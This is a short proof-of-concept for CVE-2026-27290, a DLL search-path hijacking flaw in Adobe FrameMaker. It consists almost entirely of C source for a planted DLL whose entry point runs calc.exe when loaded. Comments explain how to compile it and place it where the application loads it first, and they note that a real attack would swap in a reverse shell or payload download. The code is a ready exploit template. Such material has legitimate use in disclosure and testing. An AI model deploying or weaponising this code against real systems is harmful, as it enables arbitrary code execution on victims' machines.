CVE-2026-27290

/* * PoC for Untrusted Search Path Vulnerability (CVE-2026-27290) * Compile this code as a DLL (e.g., malicious.dll). * Place the DLL in the directory where the vulnerable application looks for resources first (e.g., current working directory). * When Adobe FrameMaker attempts to load the targeted DLL, it will load this malicious one instead. */ #include <windows.h> #include <stdlib.h> // DLL Entry Point BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code execution triggers when the DLL is loaded into the process // Example: Pop a calc.exe to demonstrate arbitrary code execution WinExec("calc.exe", SW_SHOW); // In a real attack scenario, this would be a reverse shell or payload download break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }

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